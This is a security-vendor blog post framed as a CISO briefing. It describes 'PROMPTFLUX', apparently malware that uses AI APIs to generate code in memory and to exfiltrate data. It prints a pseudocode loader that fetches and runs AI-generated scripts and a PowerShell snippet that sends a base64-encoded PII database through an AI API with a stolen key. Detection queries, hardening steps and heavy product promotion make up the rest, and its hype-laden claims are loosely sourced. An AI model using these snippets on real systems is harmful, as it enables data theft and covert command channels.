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CISO Briefing: Hackers Are Using “Secret” AI Tools (“PROMPTFLUX”). Why Your Antivirus Is Useless (And How to Hunt It) — by CyberDudeBivash

By CyberDudeBivash · 01 Nov 2025 · cyberdudebivash.com · Intel on cyberbivash.blogspot.com

LinkedIn: ThreatWire cryptobivash.code.blog

AI-POWERED ATTACK • C2 • DATA EXFILTRATION • EDR BYPASS

Situation: Generative AI is now an *offensive weapon*. APTs (Advanced Persistent Threats) are using a new TTP we call “PROMPTFLUX”. This malware uses *your own trusted AI APIs* (like Google’s Gemini or OpenAI) as a *polymorphic engine* to generate *new, unique* attack code *in-memory*. Your Antivirus/EDR is *useless* against it.

This is a decision-grade CISO brief. This is not a “future” threat. It is *here*. Your “Next-Gen” AV is a *signature-based* tool in a *fileless, behavioral* fight. Worse, the “PROMPTFLUX” TTP also uses the *same AI API* as a *covert C2 channel*. Your DLP is blind. Your Firewall is blind. This is the new playbook for ransomware and data exfiltration.

TL;DR — Attackers are using your *own* AI API key as a “polymorphic” backdoor.

The TTP: “PROMPTFLUX” (AI as a C2 Channel).
The “Metamorphic” Engine: The attacker’s on-disk payload is a *simple, fileless* loader. It *asks* the Gemini API: “Write me a PowerShell script to find all .DB files.” The AI *generates* the malicious code *in-memory*. The attack is *different* every time.
The “EDR Bypass”: Your AV/EDR has *no signature* to block because the malware *never exists on disk* and is *unique* every time.
The “DLP Bypass”: The *same API call* is used to *exfiltrate* your 4TB PII database as a “prompt.” Your firewall *trusts* `api.gemini.google.com`.
THE ACTION: 1) AUDIT GitHub for leaked keys NOW. 2) HARDEN IAM/API policies with IP-whitelisting. 3) HUNT for anomalous outbound connections to AI APIs.

TTP Factbox: “PROMPTFLUX” AI C2 Channel

TTP	Component	Severity	Exploitability	Mitigation
Hardcoded Secrets (T1552)	Public GitHub Repos	Critical	Trivial (Automated Bots)	Pre-Commit Hooks
AI C2 (T1071.001)	Gemini/OpenAI API	Critical	Bypasses DLP/EDR/WAF	IAM IP Whitelisting / MDR

Critical Data ExfiltrationEDR & DLP BypassFileless / In-MemoryContents

Phase 1: The “PROMPTFLUX” TTP (Why Your AV Is Obsolete)

As a CISO, your *entire* “prevention” model is based on *signatures*. Your Antivirus (AV) and “Next-Gen” EDR are databases of “known-bad” file hashes.

The “PROMPTFLUX” TTP makes this obsolete.

This is a polymorphic / metamorphic attack at machine speed. The malware that lands on your endpoint (the “loader”) is a *tiny, fileless* script. It has *no malicious code*. It has *one* function:

`function get_command(api_key)`
` response = http.post(“api.gemini.google.com”, data={“prompt”: “Generate a PS script to find all .DB files”})`
` return response.text`
`run(get_command(key))`

Your EDR *scans* this loader and finds *nothing*. It’s not “malicious.”
But when it *runs*, it *fetches* its malicious payload *directly from Google’s AI*. The AI *generates a brand-new, unique* PowerShell script *every single time*.

This payload *never* touches the disk (it’s fileless). And it *never* has the same signature. Your AV is *100% bypassed*.

Phase 2: The “Trusted Tunnel” (Why Your DLP Is Obsolete)

This TTP is a “double-win” for the attacker. The *same* “trusted channel” they use to *get* their commands, they also use to *exfiltrate* your data.

The “TruffleNet” Key Leak

This all starts with a DevSecOps failure. Your developer, working on a “helpful” AI app, *hardcodes* your corporate Gemini API key into a `config.py` and pushes it to a *public GitHub repo*.
An attacker’s “Truffle Hunter” bot finds this key in *minutes*.

The “Living off the Cloud” (LotC) Exfil

The attacker now has:

A foothold on your server (from a *different* 0-day, like the Cisco ASA RCE).
Your leaked AI API key.

They *don’t* exfiltrate your 4TB database to `[bad-ip-russia].com`. Your firewall would block that.
Instead, they run this *inside* your network:

`$data = Get-Content -Path “C:\Data\customer_pii.db” | Base64`
`$json = ‘{“messages”: [{“role”: “user”, “content”: “Here is my data: ‘ + $data + ‘”}]}’`
`Invoke-RestMethod -Uri “https://api.gemini.google.com/…” -Method Post -Headers @{“x-api-key”=”[YOUR_STOLEN_KEY]”} -Body $json`

Your DLP is *blind*. It sees “trusted” `powershell.exe` making a “trusted” HTTPS connection to a “whitelisted” Google IP. It *cannot* parse the Base64 data inside the encrypted JSON.
You are now breached, and *you are paying the API bill* for your own exfiltration.

Exploit Chain (Engineering)

This is a “Living off the Cloud” (LotC) & Credential Abuse TTP. The “exploit” is not a memory flaw; it’s a *logic* flaw in your Zero-Trust policy.

Trigger: `Invoke-RestMethod -Uri “api.gemini.google.com/v1/…”`
Precondition: A *leaked AI API key* (`sk-…`) from a public GitHub repo + an *internal foothold* (`powershell.exe`).
Sink (The Breach): Data exfiltrated in `messages[{“role”: “user”, “content”: “[BASE64_DATA]”}]` JSON.
Module/Build: `powershell.exe` (Trusted), `curl.exe` (Trusted), `python.exe` (Trusted).
Patch Delta: This is a *process* flaw. The “fix” is IAM IP Whitelisting on your API key and MDR Threat Hunting.

Reproduction & Lab Setup (Safe)

You *must* test your EDR’s visibility for this TTP.

Harness/Target: A sandboxed Windows 11 VM with your standard EDR agent installed.
Test: 1) Open `powershell.exe`. 2) Run this command: `Invoke-RestMethod -Uri “https://api.gemini.google.com/v1/models” -Headers @{‘x-api-key’='[YOUR_KEY]’}`.
Execution: The command will run successfully.
Result: Did your EDR/SIEM fire a P1 (Critical) alert? Or did it *silently allow* it? If it was silent, *your EDR is blind to this TTP*.
Safety Note: This proves your EDR is *whitelisting* this behavior. An attacker can replace `v1/models` with `v1/chat/completions` and use it as a C2.

Detection & Hunting Playbook (The New SOC Mandate)

Your SOC *cannot* hunt on the *email*. It *must* hunt the *API call*. This is the *new* SOC mandate.

Telemetry: You *must* have AWS CloudTrail (for the key leak) and EDR/Firewall logs (for the exfil).
Hunt TTP 1 (The #1 IOC): “Anomalous AI API Call.” This is your P1 alert. “Show me *all* connections to `api.anthropic.com` or `api.openai.com` or `api.gemini.google.com` that are *NOT* from a `chrome.exe` or `vscode.exe` process.”
Hunt TTP 2 (The “Trusted” LotL): “Show me *any* `powershell.exe` or `python.exe` process making a *high-volume* or *long-duration* HTTPS connection.”
Hunt TTP 3 (The Key Leak): “Show me *all* AI API calls from *any* IP/User-Agent that is *NOT* my known `[App_Server_IP]` or `[Corporate_VPN_IP]`.” This is your P1 alert.

# EDR / SIEM Hunt Query (Pseudocode)
SELECT * FROM process_events
WHERE
  (destination_domain = 'api.anthropic.com' OR destination_domain = 'api.openai.com' OR destination_domain = 'api.gemini.google.com')
  AND
  (process_name != 'chrome.exe' AND process_name != 'msedge.exe' AND process_name != 'firefox.exe')

Mitigation & Hardening (The CISO Mandate)

This is a DevSecOps and Cloud Security failure. This is the fix.

1. Scan & Revoke (Today): Run a secret-scanner (like TruffleHog or `git-secrets`) on *all* your public and private GitHub repos *today*. **Revoke any key you find.**
2. Harden API Keys (The *Real* Fix): This is your CISO mandate. NEVER use a “God Mode” API key. All AI keys *must* be IP-Restricted. In your Google Cloud/OpenAI/Anthropic console, create a *Condition* that *only* allows that key to be used from your *known, trusted* server IPs. This makes the leaked key *useless* to an attacker.
3. Implement Pre-Commit Hooks: You *must* block the leak at the source. Mandate that all developers install a `git-secrets` pre-commit hook. This *scans* their code *before* the `git push` and *blocks* the commit if a key is found.

Audit Validation (Blue-Team)

Run this *today*. This is not a “patch”; it’s an *audit*.

# 1. Audit your code
# Install git-secrets
brew install git-secrets

# Run a scan against your *entire* codebase
git secrets --scan-all

# 2. Audit your logs (Run the Hunt Query)
# Did you find `powershell.exe` talking to OpenAI?

# 3. Test your (new) API Key Policy
# Run the "Lab Setup" test from an *external* IP.
# EXPECTED RESULT: "AccessDenied"

If you get `AccessDenied`, your “Firewall Jail” is working. If the API call *succeeds*, you are *still vulnerable*.

Is Your EDR Blind to AI-Powered Attacks?
Your SOC is slow. Your EDR is whitelisted. CyberDudeBivash is the leader in AI-Ransomware Defense. We are offering a Free 30-Minute Ransomware Readiness Assessment to show you the *exact* gaps in your “AI C2” and “Data Exfil” defenses.

Book Your FREE 30-Min Assessment Now →

Recommended by CyberDudeBivash (Partner Links)

You need a layered defense. Here’s our vetted stack for this specific threat.

Kaspersky EDR
This is your *sensor*. It’s built to detect and *block* the infostealer malware on the endpoint *before* it can steal the keys from your developer’s laptop.Edureka — DevSecOps Training
This is a *developer* failure. Train your devs *now* on Secure Coding, AWS IAM, and *why* they must *never* hardcode secrets.Alibaba Cloud (Private AI)
The *real* solution. Host your *own* private, secure LLM on isolated cloud infra. Stop devs from using public AI and leaking data.

AliExpress (Hardware Keys)
*Mandate* this for all AWS/GitHub Admins. Get FIDO2/YubiKey-compatible keys. Stops the *initial* phish.TurboVPN
Your developers are remote. You *must* secure their connection to your internal network.Rewardful
Run a bug bounty program. Pay white-hats to find flaws *before* APTs do.

CyberDudeBivash Services & Apps

We don’t just report on these threats. We hunt them. We are the “human-in-the-loop” that your automated defenses are missing.

Managed Detection & Response (MDR): This is the *solution*. Our 24/7 SOC team becomes your Threat Hunters, watching your *CloudTrail* and *EDR* logs for these *exact* “anomalous AI API” TTPs.
Adversary Simulation (Red Team): This is the *proof*. We will *simulate* this “TruffleNet” & “PROMPTFLUX” TTP to *prove* your IAM policies and detection are working.
Emergency Incident Response (IR): You found a leaked key? Call us. Our 24/7 team will hunt for the attacker’s TTPs in your CloudTrail logs and eradicate them.
PhishRadar AI — Stops the phishing attacks that *initiate* the infostealer breach.
SessionShield — Protects your AWS *console* sessions from being hijacked by the *same* stolen key.

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FAQ

Q: What is “PROMPTFLUX”?
A: This is our CyberDudeBivash internal name for the TTP of using a trusted, whitelisted AI API (like OpenAI or Gemini) as a “polymorphic” C2 (Command & Control) and Data Exfiltration channel. The malware *asks* the AI for its commands, so the payload is *different every time* and *never* touches the disk. This bypasses EDR and DLP.

Q: We don’t use Gemini, we use OpenAI. Are we safe?
A: No. This TTP is *identical* for *any* AI API. `api.openai.com` is just as “trusted” by your firewall as `api.gemini.google.com`. The TTP is the same. The risk is the same.

Q: Why don’t EDRs just block `powershell.exe` from accessing the internet?
A: Because *legitimate* admin scripts and *your own applications* use PowerShell to make API calls *all the time*. Blocking it outright would *break* your business. This is why you need *behavioral* hunting (a human MDR team) to spot the *malicious* use, not a “block-all” rule.

Q: What’s the #1 action to take *today*?
A: AUDIT & HARDEN. Run `git-secrets –scan-all` (or `TruffleHog`) on *all* your repositories *today*. And go to your cloud/AI provider console *today* and apply IP-based `Condition` blocks to your most critical API keys.

Timeline & Credits

This “TruffleNet” & “PROMPTFLUX” TTP is an active, ongoing campaign.
Credit: This analysis is based on active Incident Response engagements and TTPs seen in the wild by the CyberDudeBivash threat hunting team.

References

Affiliate Disclosure: We may earn commissions from partner links at no extra cost to you. These are tools we use and trust. Opinions are independent.

CyberDudeBivash — Global Cybersecurity Apps, Services & Threat Intelligence.

cyberdudebivash.com · cyberbivash.blogspot.com · cryptobivash.code.blog

#AISecurity #Gemini #OpenAI #DataExfiltration #CovertChannel #C2 #CyberDudeBivash #MDR #ThreatHunting #EDRBypass #LotL #TruffleNet #PROMPTFLUX

Cyberdudebivash

Hackers Are Using “Secret” AI Tools (“PROMPTFLUX”). Why Your Antivirus Is Useless (And How to Hunt It) — by CyberDudeBivash

CISO Briefing: Hackers Are Using “Secret” AI Tools (“PROMPTFLUX”). Why Your Antivirus Is Useless (And How to Hunt It) — by CyberDudeBivash

Phase 1: The “PROMPTFLUX” TTP (Why Your AV Is Obsolete)

Phase 2: The “Trusted Tunnel” (Why Your DLP Is Obsolete)

The “TruffleNet” Key Leak

The “Living off the Cloud” (LotC) Exfil

Exploit Chain (Engineering)

Reproduction & Lab Setup (Safe)

Detection & Hunting Playbook (The New SOC Mandate)

Mitigation & Hardening (The CISO Mandate)

Audit Validation (Blue-Team)

Recommended by CyberDudeBivash (Partner Links)

CyberDudeBivash Services & Apps

FAQ

Timeline & Credits

References

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Hackers Are Using “Secret” AI Tools (“PROMPTFLUX”). Why Your Antivirus Is Useless (And How to Hunt It) — by CyberDudeBivash

CISO Briefing: Hackers Are Using “Secret” AI Tools (“PROMPTFLUX”). Why Your Antivirus Is Useless (And How to Hunt It) — by CyberDudeBivash

Phase 1: The “PROMPTFLUX” TTP (Why Your AV Is Obsolete)

Phase 2: The “Trusted Tunnel” (Why Your DLP Is Obsolete)

The “TruffleNet” Key Leak

The “Living off the Cloud” (LotC) Exfil

Exploit Chain (Engineering)

Reproduction & Lab Setup (Safe)

Detection & Hunting Playbook (The *New* SOC Mandate)

Mitigation & Hardening (The CISO Mandate)

Audit Validation (Blue-Team)

Recommended by CyberDudeBivash (Partner Links)

CyberDudeBivash Services & Apps

FAQ

Timeline & Credits

References

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Detection & Hunting Playbook (The New SOC Mandate)